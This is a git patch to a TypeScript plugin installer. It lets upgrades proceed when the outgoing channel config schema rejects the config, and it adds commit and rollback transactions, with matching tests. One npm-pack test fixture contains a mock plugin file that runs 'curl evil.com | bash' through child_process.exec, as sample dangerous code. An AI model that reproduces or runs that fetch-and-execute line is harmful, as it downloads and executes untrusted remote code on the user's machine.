From 0c313d712839670f3ac60f8fd238af7e308cdc18 Mon Sep 17 00:00:00 2001 From: felirami Date: Thu, 27 Aug 2026 04:03:55 -0400 Subject: [PATCH] fix(plugins): allow install when outgoing channel schema disagrees (#122984) * fix(plugins): unblock upgrades rejected by outgoing channel schemas Recover only requested-plugin channel schema diagnostics, including channel keys different from the plugin ID. Keep incoming-schema validation and unrelated-error rejection intact. Consolidate duplicate config fixtures and remove an unnecessary error assertion; total LOC is net negative. Co-authored-by: felirami <6752178+felirami@users.noreply.github.com> * fix(plugins): retain source rollback until install records commit Use the existing deferred install transaction across managed sources. Record persistence completion at its owner and remove index/path-inferred compensation, keeping committed payloads intact on late refresh failures. Co-authored-by: felirami <6752178+felirami@users.noreply.github.com> * fix(plugins): preserve rollback causes and satisfy lint Keep both failures in AggregateError and its rollback cause. Document the pinned linter false positive for third-argument options and restore required test braces. * test(plugins): register intentional AggregateError lint exception --------- Co-authored-by: Peter Steinberger Co-authored-by: felirami <6752178+felirami@users.noreply.github.com> --- config/assertion-safety-baseline.txt | 2 +- src/cli/plugins-install-config.test.ts | 164 ++++----- src/cli/plugins-install-config.ts | 27 +- src/plugins/install-npm-pack.ts | 95 +++--- src/plugins/install-persistence.test.ts | 5 + src/plugins/install-persistence.ts | 3 + .../install-persistence.warning-sink.test.ts | 7 +- src/plugins/install.npm-spec.test.ts | 150 +++++---- ...ement-service.install-compensation.test.ts | 311 ++++++++---------- src/plugins/management-service.test.ts | 103 ------ src/plugins/management-service.ts | 166 +++------- test/scripts/lint-suppressions.test.ts | 1 + 12 files changed, 417 insertions(+), 617 deletions(-) diff --git a/config/assertion-safety-baseline.txt b/config/assertion-safety-baseline.txt index dae1b5a2e98e..530697ac4863 100644 --- a/config/assertion-safety-baseline.txt +++ b/config/assertion-safety-baseline.txt @@ -2423,7 +2423,7 @@ src/cli/plugin-install-plan.ts 1 src/cli/plugins-authoring-command.ts 8 src/cli/plugins-cli.runtime.ts 2 src/cli/plugins-command-helpers.ts 1 -src/cli/plugins-install-config.ts 3 +src/cli/plugins-install-config.ts 2 src/cli/plugins-uninstall-command.ts 4 src/cli/plugins-update-command.ts 5 src/cli/ports.ts 9 diff --git a/src/cli/plugins-install-config.test.ts b/src/cli/plugins-install-config.test.ts index 9d2b1027a4ce..a1f73cc2b084 100644 --- a/src/cli/plugins-install-config.test.ts +++ b/src/cli/plugins-install-config.test.ts @@ -136,24 +136,21 @@ describe("loadConfigForInstall", () => { hookMutation: { mode: "allowed" }, pluginMutation: { mode: "allowed" }, }); - }); - - it("returns valid source config unchanged", async () => { - const cfg = { plugins: {} } as OpenClawConfig; - readConfigFileSnapshotMock.mockResolvedValue( - makeSnapshot({ - valid: true, - sourceConfig: cfg, - config: cfg, - issues: [], - }), - ); - - const result = await loadConfigForInstall(discordNpmRequest); expect(result.config).toBe(cfg); }); - it("falls back to snapshot config for explicit bundled-plugin reinstall when issues match the known upgrade failure", async () => { + it.each([ + { path: "channels.discord", message: "unknown channel id: discord" }, + { path: "channels.discord", message: "invalid config for plugin discord: must be object" }, + { + path: "channels.discord.accounts.work", + message: "invalid config for plugin discord: must be object", + }, + { + path: "channels.other-channel", + message: "invalid config for plugin discord: must be object", + }, + ])("recovers requested-plugin upgrade issue $path: $message", async (issue) => { const snapshotCfg = { plugins: { installs: { discord: { source: "path", installPath: "/gone" } } }, } as unknown as OpenClawConfig; @@ -162,7 +159,7 @@ describe("loadConfigForInstall", () => { parsed: { plugins: { installs: { discord: {} } } }, config: snapshotCfg, issues: [ - { path: "channels.discord", message: "unknown channel id: discord" }, + issue, { path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" }, ], }), @@ -179,40 +176,6 @@ describe("loadConfigForInstall", () => { }); }); - it("allows versioned npm:-prefixed bundled-plugin reinstall recovery", async () => { - const snapshotCfg = { - plugins: { installs: { discord: { source: "path", installPath: "/gone" } } }, - } as unknown as OpenClawConfig; - readConfigFileSnapshotMock.mockResolvedValue( - makeSnapshot({ - parsed: { plugins: { installs: { discord: {} } } }, - config: snapshotCfg, - issues: [ - { path: "channels.discord", message: "unknown channel id: discord" }, - { path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" }, - ], - }), - ); - - const request = resolvePluginInstallRequestContext({ - rawSpec: "npm:@openclaw/discord@2026.5.22", - }); - if (!request.ok) { - throw new Error(request.error); - } - - expect(request.request.bundledPluginId).toBe("discord"); - expect(request.request.allowInvalidConfigRecovery).toBe(true); - const result = await loadConfigForInstall(request.request); - expect(result).toEqual({ - config: snapshotCfg, - baseHash: "abc", - writeOptions: installWriteOptions, - hookMutation: { mode: "allowed" }, - pluginMutation: { mode: "allowed" }, - }); - }); - it.each(["file:@openclaw/discord", "FILE:@openclaw/discord"])( "does not treat %s as an official plugin recovery request", (rawSpec) => { @@ -238,49 +201,50 @@ describe("loadConfigForInstall", () => { expect(request.request.installKind).toBe("plugin"); }); - it("allows versioned official npm spec reinstall recovery", async () => { - const snapshotCfg = { - plugins: { - installs: { discord: { source: "npm", installPath: "/gone" } }, - load: { paths: ["/gone", "/keep"] }, - }, - channels: { discord: { token: "preserve-me" } }, - } as unknown as OpenClawConfig; - readConfigFileSnapshotMock.mockResolvedValue( - makeSnapshot({ - parsed: { plugins: { installs: { discord: {} }, load: { paths: ["/gone", "/keep"] } } }, - config: snapshotCfg, - issues: [ - { path: "channels.discord", message: "unknown channel id: discord" }, - { path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" }, - ], - }), - ); - - const request = resolvePluginInstallRequestContext({ - rawSpec: "@openclaw/discord@2026.5.22", - }); - if (!request.ok) { - throw new Error(request.error); - } - - expect(request.request.bundledPluginId).toBe("discord"); - expect(request.request.allowInvalidConfigRecovery).toBe(true); - const result = await loadConfigForInstall(request.request); - expect(result).toEqual({ - config: { + it.each(["@openclaw/discord@2026.5.22", "npm:@openclaw/discord@2026.5.22"])( + "allows versioned official reinstall recovery for %s", + async (rawSpec) => { + const snapshotCfg = { plugins: { installs: { discord: { source: "npm", installPath: "/gone" } }, - load: { paths: ["/keep"] }, + load: { paths: ["/gone", "/keep"] }, }, channels: { discord: { token: "preserve-me" } }, - }, - baseHash: "abc", - writeOptions: installWriteOptions, - hookMutation: { mode: "allowed" }, - pluginMutation: { mode: "allowed" }, - }); - }); + } as unknown as OpenClawConfig; + readConfigFileSnapshotMock.mockResolvedValue( + makeSnapshot({ + parsed: { plugins: { installs: { discord: {} }, load: { paths: ["/gone", "/keep"] } } }, + config: snapshotCfg, + issues: [ + { path: "channels.discord", message: "unknown channel id: discord" }, + { path: "plugins.load.paths", message: "plugin: plugin path not found: /gone" }, + ], + }), + ); + + const request = resolvePluginInstallRequestContext({ rawSpec }); + if (!request.ok) { + throw new Error(request.error); + } + + expect(request.request.bundledPluginId).toBe("discord"); + expect(request.request.allowInvalidConfigRecovery).toBe(true); + const result = await loadConfigForInstall(request.request); + expect(result).toEqual({ + config: { + plugins: { + installs: { discord: { source: "npm", installPath: "/gone" } }, + load: { paths: ["/keep"] }, + }, + channels: { discord: { token: "preserve-me" } }, + }, + baseHash: "abc", + writeOptions: installWriteOptions, + hookMutation: { mode: "allowed" }, + pluginMutation: { mode: "allowed" }, + }); + }, + ); it("uses the canonical plugin install record to own a stale recovery load path", async () => { const snapshotCfg = { @@ -916,10 +880,28 @@ describe("loadConfigForInstall", () => { }, ); - it("rejects unrelated invalid config even during bundled-plugin reinstall recovery", async () => { + it.each([ + { path: "models.default", message: "invalid model ref" }, + { path: "channels.discord", message: "invalid config for plugin telegram: must be object" }, + { + path: "channels.discord", + message: "invalid config for plugin discord-extra: must be object", + }, + { path: "channels.discord", message: "must be object" }, + { + path: "plugins.entries.discord.config", + message: "invalid config for plugin discord: must be object", + }, + ])("rejects unrelated issue $path: $message during plugin recovery", async (issue) => { readConfigFileSnapshotMock.mockResolvedValue( makeSnapshot({ - issues: [{ path: "models.default", message: "invalid model ref" }], + issues: [ + { + path: "channels.discord", + message: "invalid config for plugin discord: must be object", + }, + issue, + ], }), ); diff --git a/src/cli/plugins-install-config.ts b/src/cli/plugins-install-config.ts index 0b74a89161af..abce0b8c043b 100644 --- a/src/cli/plugins-install-config.ts +++ b/src/cli/plugins-install-config.ts @@ -1,6 +1,6 @@ // Owns config snapshots, include boundaries, and recovery for plugin installation. import { readConfigFileSnapshotForWrite } from "../config/config.js"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; +import type { ConfigValidationIssue, OpenClawConfig } from "../config/types.openclaw.js"; import { resolveInstallConfigMutationPreflights, selectInstallMutationWriteOptions, @@ -35,9 +35,7 @@ export function resolveFullyBlockedConfigMutationReason( } function buildInvalidPluginInstallConfigError(message: string): Error { - const error = new Error(message); - (error as { code?: string }).code = "INVALID_CONFIG"; - return error; + return Object.assign(new Error(message), { code: "INVALID_CONFIG" }); } function assertPluginConfigMutationAllowed(preflight: ConfigMutationPreflight): void { @@ -53,8 +51,8 @@ function supportsPluginRecoveryIncludeShape(parsed: Record): bo return supportsInstallConfigSingleTopLevelIncludeShape(parsed.plugins); } -function extractMissingPluginLoadPath(issue: { path?: string; message?: string }): string | null { - if (issue.path !== "plugins.load.paths" || typeof issue.message !== "string") { +function extractMissingPluginLoadPath(issue: ConfigValidationIssue): string | null { + if (issue.path !== "plugins.load.paths") { return null; } const marker = "plugin path not found:"; @@ -67,7 +65,7 @@ function extractMissingPluginLoadPath(issue: { path?: string; message?: string } } function isOwnedMissingPluginLoadPathIssue( - issue: { path?: string; message?: string }, + issue: ConfigValidationIssue, ownedLoadPaths: ReadonlySet, env: NodeJS.ProcessEnv = process.env, ): boolean { @@ -76,7 +74,7 @@ function isOwnedMissingPluginLoadPathIssue( } function isAllowedPluginRecoveryIssue( - issue: { path?: string; message?: string }, + issue: ConfigValidationIssue, request: PluginInstallRequestContext, ownedLoadPaths: ReadonlySet, ): boolean { @@ -87,13 +85,14 @@ function isAllowedPluginRecoveryIssue( return ( (issue.path === `channels.${pluginId}` && issue.message === `unknown channel id: ${pluginId}`) || + // The outgoing schema must not block its replacement. The validator names + // the schema owner; a plugin may own a channel whose id differs from its own. + (issue.path.startsWith("channels.") && + issue.message.startsWith(`invalid config for plugin ${pluginId}:`)) || isOwnedMissingPluginLoadPathIssue(issue, ownedLoadPaths) || (issue.path === `plugins.entries.${pluginId}` && - typeof issue.message === "string" && issue.message.includes("requires compiled runtime output")) || - (issue.path === "tools.web.search.provider" && - typeof issue.message === "string" && - issue.message.includes(`plugin "${pluginId}"`)) + (issue.path === "tools.web.search.provider" && issue.message.includes(`plugin "${pluginId}"`)) ); } @@ -135,7 +134,7 @@ async function collectRequestedPluginLocationBridgePaths( function removeOwnedMissingPluginLoadPaths( cfg: OpenClawConfig, - issues: readonly { path?: string; message?: string }[], + issues: readonly ConfigValidationIssue[], ownedLoadPaths: ReadonlySet, env: NodeJS.ProcessEnv, ): OpenClawConfig { @@ -174,7 +173,7 @@ function removeOwnedMissingPluginLoadPaths( async function resolveRequestedPluginInstallPaths( cfg: OpenClawConfig, - issues: readonly { path?: string; message?: string }[], + issues: readonly ConfigValidationIssue[], request: PluginInstallRequestContext, env: NodeJS.ProcessEnv, ): Promise> { diff --git a/src/plugins/install-npm-pack.ts b/src/plugins/install-npm-pack.ts index c925ff7ff784..b2edc682626d 100644 --- a/src/plugins/install-npm-pack.ts +++ b/src/plugins/install-npm-pack.ts @@ -25,6 +25,7 @@ import { loadPluginInstallRuntime, resolveEffectiveInstallMode, } from "./install-shared.js"; +import { copyPluginInstallTransactionRequest } from "./install-transaction.js"; import { PLUGIN_INSTALL_ERROR_CODE, type InstallPluginResult, @@ -232,52 +233,54 @@ export async function installPluginFromNpmPackArchive( ? "install" : targetMode; - const result = await installPluginFromManagedNpmRoot({ - dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, - onInstallPolicyWarning: params.onInstallPolicyWarning, - trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, - config: params.config, - packageName, - prepareDependencySpec: async ({ npmRoot }) => { - try { - return { - ok: true, - ...(await stageNpmPackArchiveInManagedRoot({ - archivePath: metadataResult.archivePath, - npmRoot, - packageName, - version: metadataResult.metadata.version, - integrity: metadataResult.metadata.integrity, - shasum: metadataResult.metadata.shasum, - tarballName: metadataResult.tarballName, - })), - }; - } catch (error) { - return { - ok: false, - error: `Failed to stage npm pack archive in managed npm root: ${String(error)}`, - }; - } - }, - displaySpec: metadataResult.archivePath, - installPolicyRequest: { - kind: "plugin-npm", - requestedSpecifier: `npm-pack:${metadataResult.archivePath}`, - source: { kind: "archive", authority: "user", mutable: true, network: false }, - }, - policyPreflightSourcePath: metadataResult.archivePath, - policyPreflightSourcePathKind: "file", - extensionsDir: params.extensionsDir, - npmDir: npmBaseDir, - timeoutMs, - signal: params.signal, - logger, - mode, - dryRun, - expectedPluginId: params.expectedPluginId, - npmResolution, - ...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}), - }); + const result = await installPluginFromManagedNpmRoot( + copyPluginInstallTransactionRequest(params, { + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + onInstallPolicyWarning: params.onInstallPolicyWarning, + trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, + packageName, + prepareDependencySpec: async ({ npmRoot }) => { + try { + return { + ok: true, + ...(await stageNpmPackArchiveInManagedRoot({ + archivePath: metadataResult.archivePath, + npmRoot, + packageName, + version: metadataResult.metadata.version, + integrity: metadataResult.metadata.integrity, + shasum: metadataResult.metadata.shasum, + tarballName: metadataResult.tarballName, + })), + }; + } catch (error) { + return { + ok: false, + error: `Failed to stage npm pack archive in managed npm root: ${String(error)}`, + }; + } + }, + displaySpec: metadataResult.archivePath, + installPolicyRequest: { + kind: "plugin-npm", + requestedSpecifier: `npm-pack:${metadataResult.archivePath}`, + source: { kind: "archive", authority: "user", mutable: true, network: false }, + }, + policyPreflightSourcePath: metadataResult.archivePath, + policyPreflightSourcePathKind: "file", + extensionsDir: params.extensionsDir, + npmDir: npmBaseDir, + timeoutMs, + signal: params.signal, + logger, + mode, + dryRun, + expectedPluginId: params.expectedPluginId, + npmResolution, + ...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}), + }), + ); emitSuccessfulPluginInstallSecurityEvent(result, { dryRun, mode: policyMode, diff --git a/src/plugins/install-persistence.test.ts b/src/plugins/install-persistence.test.ts index 88324550276a..41db330aecaf 100644 --- a/src/plugins/install-persistence.test.ts +++ b/src/plugins/install-persistence.test.ts @@ -930,6 +930,7 @@ describe("persistPluginInstall", () => { it("rejects invalid authored plugin config even for a disabled install", async () => { const { persistPluginInstall } = await import("./install-persistence.js"); + let committed = false; const baseConfig = { plugins: { entries: { @@ -968,6 +969,9 @@ describe("persistPluginInstall", () => { }, pluginId: "needs-config", enable: false, + onCommitted: () => { + committed = true; + }, install: { source: "npm", spec: "needs-config@1.0.0", @@ -976,6 +980,7 @@ describe("persistPluginInstall", () => { }), ).rejects.toThrow("has invalid configured settings"); + expect(committed).toBe(false); expect(enablePluginInConfigMock).not.toHaveBeenCalled(); expect(writePersistedInstalledPluginIndexInstallRecordsWithLeaseMock).not.toHaveBeenCalled(); expect(configWriteMock).not.toHaveBeenCalled(); diff --git a/src/plugins/install-persistence.ts b/src/plugins/install-persistence.ts index 327bbfaed450..bc025e91a5d7 100644 --- a/src/plugins/install-persistence.ts +++ b/src/plugins/install-persistence.ts @@ -484,6 +484,7 @@ export async function persistPluginInstall(params: { warningMessage?: string; runtime?: RuntimeEnv; persistenceLogger?: PluginInstallLogger; + onCommitted?: () => void; }): Promise { const runtime = params.runtime ?? defaultRuntime; // Terminal diagnostics may contain paths/errors; management receives only producer-authored summaries. @@ -624,6 +625,8 @@ export async function persistPluginInstall(params: { }), { command: "install" }, ); + // The source transaction must survive later cleanup or registry-refresh failures. + params.onCommitted?.(); if (replacedInstallRemoval) { const removalResult = await tracePluginLifecyclePhaseAsync( "replaced install cleanup", diff --git a/src/plugins/install-persistence.warning-sink.test.ts b/src/plugins/install-persistence.warning-sink.test.ts index 2f0e1708b0dc..3b9e684067b8 100644 --- a/src/plugins/install-persistence.warning-sink.test.ts +++ b/src/plugins/install-persistence.warning-sink.test.ts @@ -112,6 +112,7 @@ describe("plugin install persistence warning audiences", () => { async (audience) => { const { persistPluginInstall } = await import("./install-persistence.js"); const warn = vi.fn(); + const onCommitted = vi.fn(); const cleanupDetail = "npm stderr PRIVATE_NPM_MARKER /private/previous-source/workboard"; const refreshDetail = "PRIVATE_REFRESH_MARKER /private/registry-source/workboard"; const configuredSource = "/private/configured-source/workboard/index.js"; @@ -133,7 +134,10 @@ describe("plugin install persistence warning audiences", () => { directoryRemoved: false, warnings: [cleanupDetail], }); - refreshPluginRegistryMock.mockRejectedValueOnce(new Error(refreshDetail)); + refreshPluginRegistryMock.mockImplementationOnce(async () => { + expect(onCommitted).toHaveBeenCalledExactlyOnceWith(); + throw new Error(refreshDetail); + }); buildPluginSnapshotReportMock.mockReturnValue({ plugins: [{ id: "workboard", origin: "config", source: configuredSource }], diagnostics: [], @@ -143,6 +147,7 @@ describe("plugin install persistence warning audiences", () => { snapshot, pluginId: "workboard", install, + onCommitted, ...(audience === "management" ? { persistenceLogger: { warn } } : {}), }); diff --git a/src/plugins/install.npm-spec.test.ts b/src/plugins/install.npm-spec.test.ts index bcc925709d0d..f1bea06c7e8f 100644 --- a/src/plugins/install.npm-spec.test.ts +++ b/src/plugins/install.npm-spec.test.ts @@ -12,6 +12,10 @@ import { resolvePluginNpmProjectDir, resolvePluginNpmProjectsDir, } from "./install-paths.js"; +import { + requestDeferredPluginInstall, + resolvePluginInstallTransaction, +} from "./install-transaction.js"; import { hasRetainedManagedNpmInstallMarker, markRetainedManagedNpmInstall, @@ -844,78 +848,90 @@ describe("installPluginFromNpmSpec", () => { expect(runCommandWithTimeoutMock.mock.calls).toHaveLength(1); }); - it("updates staged npm pack archives when dangerous-looking code is present", async () => { - const stateDir = suiteTempRootTracker.makeTempDir(); - const npmRoot = path.join(stateDir, "npm"); - const packageName = "@openclaw/pack-demo"; - const archiveV1Path = path.join(stateDir, "openclaw-pack-demo-1.0.0.tgz"); - const archiveV2Path = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz"); - fs.writeFileSync(archiveV1Path, "v1 pack contents", "utf8"); - fs.writeFileSync(archiveV2Path, "v2 pack contents", "utf8"); + it.each(["commit", "rollback"] as const)( + "settles staged npm pack updates with %s", + async (settlement) => { + const stateDir = suiteTempRootTracker.makeTempDir(); + const npmRoot = path.join(stateDir, "npm"); + const packageName = "@openclaw/pack-demo"; + const archiveV1Path = path.join(stateDir, "openclaw-pack-demo-1.0.0.tgz"); + const archiveV2Path = path.join(stateDir, "openclaw-pack-demo-2.0.0.tgz"); + fs.writeFileSync(archiveV1Path, "v1 pack contents", "utf8"); + fs.writeFileSync(archiveV2Path, "v2 pack contents", "utf8"); - mockNpmViewAndInstallMany([ - { + mockNpmViewAndInstallMany([ + { + packageName, + version: "1.0.0", + pluginId: "pack-demo", + npmRoot, + integrity: "sha512-pack-demo-v1", + shasum: "packdemoshav1", + packArchivePath: archiveV1Path, + indexJs: "export const ok = true;", + }, + ]); + + const safeInstall = await installPluginFromNpmPackArchive({ + archivePath: archiveV1Path, + npmDir: npmRoot, + logger: { info: () => {}, warn: () => {} }, + }); + expect(safeInstall.ok).toBe(true); + const npmProjectRoot = resolvePluginNpmProjectDir({ + npmDir: npmRoot, packageName, - version: "1.0.0", - pluginId: "pack-demo", - npmRoot, - integrity: "sha512-pack-demo-v1", - shasum: "packdemoshav1", - packArchivePath: archiveV1Path, - indexJs: "export const ok = true;", - }, - ]); + }); + const projectBefore = readTextFileTree(npmProjectRoot); - const safeInstall = await installPluginFromNpmPackArchive({ - archivePath: archiveV1Path, - npmDir: npmRoot, - logger: { info: () => {}, warn: () => {} }, - }); - expect(safeInstall.ok).toBe(true); - const npmProjectRoot = resolvePluginNpmProjectDir({ - npmDir: npmRoot, - packageName, - }); - const projectBefore = readTextFileTree(npmProjectRoot); + mockNpmViewAndInstallMany([ + { + packageName, + version: "2.0.0", + pluginId: "pack-demo", + npmRoot, + integrity: "sha512-pack-demo-v2", + shasum: "packdemoshav2", + packArchivePath: archiveV2Path, + indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, + }, + ]); - mockNpmViewAndInstallMany([ - { + const update = await installPluginFromNpmPackArchive( + requestDeferredPluginInstall({ + archivePath: archiveV2Path, + npmDir: npmRoot, + mode: "update", + logger: { info: () => {}, warn: () => {} }, + }), + ); + + expect(update.ok).toBe(true); + if (!update.ok) { + return; + } + const updateGenerationRoot = resolvePluginNpmGenerationProjectDir({ + npmDir: npmRoot, packageName, - version: "2.0.0", - pluginId: "pack-demo", - npmRoot, - integrity: "sha512-pack-demo-v2", - shasum: "packdemoshav2", - packArchivePath: archiveV2Path, - indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, - }, - ]); - - const update = await installPluginFromNpmPackArchive({ - archivePath: archiveV2Path, - npmDir: npmRoot, - mode: "update", - logger: { info: () => {}, warn: () => {} }, - }); - - expect(update.ok).toBe(true); - if (!update.ok) { - return; - } - const updateGenerationRoot = resolvePluginNpmGenerationProjectDir({ - npmDir: npmRoot, - packageName, - generationKey: [ - packageName, - "2.0.0", - `${packageName}@2.0.0`, - "sha512-pack-demo-v2", - "packdemoshav2", - ].join("\n"), - }); - expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore); - expect(readTextFileTree(updateGenerationRoot)).not.toEqual(projectBefore); - }); + generationKey: [ + packageName, + "2.0.0", + `${packageName}@2.0.0`, + "sha512-pack-demo-v2", + "packdemoshav2", + ].join("\n"), + }); + expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore); + expect(readTextFileTree(updateGenerationRoot)).not.toEqual(projectBefore); + const transaction = resolvePluginInstallTransaction(update); + expect(transaction).toBeDefined(); + await transaction?.[settlement](); + expect( + fs.existsSync(path.join(updateGenerationRoot, "node_modules", "@openclaw", "pack-demo")), + ).toBe(settlement === "commit"); + expect(readTextFileTree(npmProjectRoot)).toEqual(projectBefore); + }, + ); it("installs staged npm pack archives with dangerous-looking code", async () => { const stateDir = suiteTempRootTracker.makeTempDir(); diff --git a/src/plugins/management-service.install-compensation.test.ts b/src/plugins/management-service.install-compensation.test.ts index 2069630bdd01..da7b7e09199e 100644 --- a/src/plugins/management-service.install-compensation.test.ts +++ b/src/plugins/management-service.install-compensation.test.ts @@ -3,183 +3,122 @@ import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; import { - resolveDefaultPluginNpmDir, - resolvePluginNpmGenerationProjectDir, - resolvePluginNpmProjectDir, -} from "./install-paths.js"; - -const compensationTempDirs = useAutoCleanupTempDirTracker(afterEach); - -const mocks = vi.hoisted(() => ({ - applyUninstall: vi.fn(), - clawhubInstall: vi.fn(), - installRecords: vi.fn(), - npmInstall: vi.fn(), - pathInstall: vi.fn(), - persistInstall: vi.fn(), - planUninstall: vi.fn(), -})); + installPackageDir, + requestDeferredPackageDirInstall, + resolvePackageDirInstallTransaction, +} from "../infra/install-package-dir.js"; +import { + attachPluginInstallTransaction, + isPluginInstallCommitDeferred, +} from "./install-transaction.js"; +import type { ManagedPluginSourceInstallRequest } from "./management-service.js"; +const tempDirs = useAutoCleanupTempDirTracker(afterEach); +const mocks = vi.hoisted(() => ({ install: vi.fn(), persist: vi.fn() })); vi.mock("./clawhub.js", () => ({ - installPluginFromClawHub: (...args: unknown[]) => mocks.clawhubInstall(...args), + installPluginFromClawHub: (...args: unknown[]) => mocks.install(...args), +})); +vi.mock("./git-install.js", () => ({ + installPluginFromGitSpec: (...args: unknown[]) => mocks.install(...args), })); - vi.mock("./install.js", async (importOriginal) => ({ ...(await importOriginal()), - installPluginFromNpmSpec: (...args: unknown[]) => mocks.npmInstall(...args), - installPluginFromPath: (...args: unknown[]) => mocks.pathInstall(...args), + installPluginFromNpmSpec: (...args: unknown[]) => mocks.install(...args), + installPluginFromNpmPackArchive: (...args: unknown[]) => mocks.install(...args), + installPluginFromPath: (...args: unknown[]) => mocks.install(...args), })); - vi.mock("./install-persistence.js", async (importOriginal) => ({ ...(await importOriginal()), - persistPluginInstall: (...args: unknown[]) => mocks.persistInstall(...args), + persistPluginInstall: (...args: unknown[]) => mocks.persist(...args), })); - -vi.mock("./installed-plugin-index-records.js", async (importOriginal) => ({ - ...(await importOriginal()), - loadInstalledPluginIndexInstallRecords: (...args: unknown[]) => mocks.installRecords(...args), -})); - -vi.mock("./uninstall.js", async (importOriginal) => ({ - ...(await importOriginal()), - applyPluginUninstallDirectoryRemoval: (...args: unknown[]) => mocks.applyUninstall(...args), - planPluginUninstall: (...args: unknown[]) => mocks.planUninstall(...args), -})); - const { installManagedPluginSource } = await import("./management-service.js"); -const actualUninstall = await vi.importActual("./uninstall.js"); +const snapshot = { config: {}, baseHash: "base-hash", writeOptions: {} }; +const requests = [ + { source: "local", path: "/incoming", recordSource: "path", mode: "update" }, + { source: "npm", spec: "demo@2.0.0", mode: "update" }, + { source: "npm-pack", archivePath: "/incoming.tgz", mode: "update" }, + { source: "git", spec: "git:example/demo", mode: "update" }, + { source: "clawhub", spec: "clawhub:community/demo", mode: "update" }, +] satisfies ManagedPluginSourceInstallRequest[]; -function installPersistSnapshot() { - return { - config: {}, - baseHash: "base-hash", - writeOptions: { - expectedConfigPath: "/tmp/openclaw.json", - includeFileHashesForWrite: { "/tmp/plugins.json": "include-hash" }, - includeFileTargetsForWrite: { "/tmp/plugins.json": "/tmp/plugins.json" }, - }, - }; -} - -function mockClawHubInstall(pluginId: string, packageName: string, targetDir: string) { - mocks.clawhubInstall.mockResolvedValue({ - ok: true, - pluginId, - targetDir, - extensions: ["index.js"], - packageName, - clawhub: { - source: "clawhub", - clawhubUrl: "https://clawhub.ai", - clawhubPackage: packageName, - clawhubFamily: "code-plugin", - }, - }); -} - -describe("managed plugin install compensation", () => { - beforeEach(() => { - vi.clearAllMocks(); - mocks.installRecords.mockResolvedValue({}); - mocks.applyUninstall.mockResolvedValue({ directoryRemoved: true, warnings: [] }); - }); - - it("defaults direct managed source installs to persistence-failure cleanup", async () => { - const env = { HOME: "/tmp/openclaw-managed-source-conflict-home" }; - const conflict = new Error("config changed during plugin install"); - const targetDir = "/tmp/openclaw-managed-source-conflict-home/extensions/demo"; - mockClawHubInstall("demo", "community/demo", targetDir); - mocks.persistInstall.mockRejectedValue(conflict); - mocks.planUninstall.mockReturnValue({ - ok: true, - config: {}, - pluginId: "demo", - actions: {}, - directoryRemoval: { target: targetDir }, - }); - - await expect( - installManagedPluginSource({ - request: { source: "clawhub", spec: "clawhub:community/demo" }, - snapshot: installPersistSnapshot(), - env, - }), - ).rejects.toBe(conflict); - - expect(mocks.installRecords).toHaveBeenCalledWith({ env }); - expect(mocks.applyUninstall).toHaveBeenCalledWith({ target: targetDir }); - }); - - it.each([ - { name: "ordinary", generationKey: undefined }, - { name: "generation", generationKey: "demo-v2" }, - ])( - "removes a planner-validated $name npm project after persistence conflicts", - async (fixture) => { - const home = compensationTempDirs.make("openclaw-managed-npm-conflict-"); - const env = { HOME: home }; - const packageName = "@openclaw/demo"; - const npmDir = resolveDefaultPluginNpmDir(env); - const npmRoot = fixture.generationKey - ? resolvePluginNpmGenerationProjectDir({ - npmDir, - packageName, - generationKey: fixture.generationKey, - }) - : resolvePluginNpmProjectDir({ npmDir, packageName }); - const targetDir = path.join(npmRoot, "node_modules", "@openclaw", "demo"); - const packArchive = path.join(npmRoot, "_openclaw-pack-archives", "demo.tgz"); - const conflict = new Error("config changed during npm plugin install"); +describe("managed plugin install transactions", () => { + beforeEach(() => vi.resetAllMocks()); + it.each(requests)("settles $source payloads at the config commit boundary", async (request) => { + for (const failure of ["before-commit", "after-commit", "none"] as const) { + const home = await fs.realpath(tempDirs.make("openclaw-managed-upgrade-")); + const sourceDir = path.join(home, "incoming"); + const targetDir = path.join(home, "extensions", "demo"); + await fs.mkdir(sourceDir, { recursive: true }); await fs.mkdir(targetDir, { recursive: true }); - await fs.mkdir(path.dirname(packArchive), { recursive: true }); - await fs.writeFile(packArchive, "packed plugin"); - mocks.npmInstall.mockResolvedValue({ - ok: true, - pluginId: "demo", - targetDir, - extensions: ["index.js"], - manifestName: packageName, + await fs.writeFile(path.join(sourceDir, "version"), "2.0.0"); + await fs.writeFile(path.join(targetDir, "version"), "1.0.0"); + const conflict = new Error(failure); + mocks.persist.mockImplementation(async (params: { onCommitted?: () => void }) => { + if (failure === "before-commit") { + throw conflict; + } + params.onCommitted?.(); + if (failure === "after-commit") { + throw conflict; + } + return {}; }); - mocks.persistInstall.mockRejectedValue(conflict); - mocks.planUninstall.mockImplementation((params) => - actualUninstall.planPluginUninstall( - params as Parameters[0], - ), + mocks.install.mockImplementation(async (params: object) => { + const copy = { + sourceDir, + targetDir, + mode: "update" as const, + timeoutMs: 1000, + copyErrorPrefix: "copy failed", + hasDeps: false, + depsLogMessage: "", + }; + const copied = await installPackageDir( + isPluginInstallCommitDeferred(params) ? requestDeferredPackageDirInstall(copy) : copy, + ); + if (!copied.ok) { + throw new Error(copied.error); + } + const result = { + ok: true, + pluginId: "demo", + targetDir, + version: "2.0.0", + extensions: [], + git: { url: "https://example.test/demo.git" }, + packageName: "community/demo", + clawhub: { + source: "clawhub", + clawhubUrl: "https://clawhub.ai", + clawhubPackage: "community/demo", + clawhubFamily: "code-plugin", + }, + }; + const transaction = resolvePackageDirInstallTransaction(copied); + return transaction ? attachPluginInstallTransaction(result, transaction) : result; + }); + const 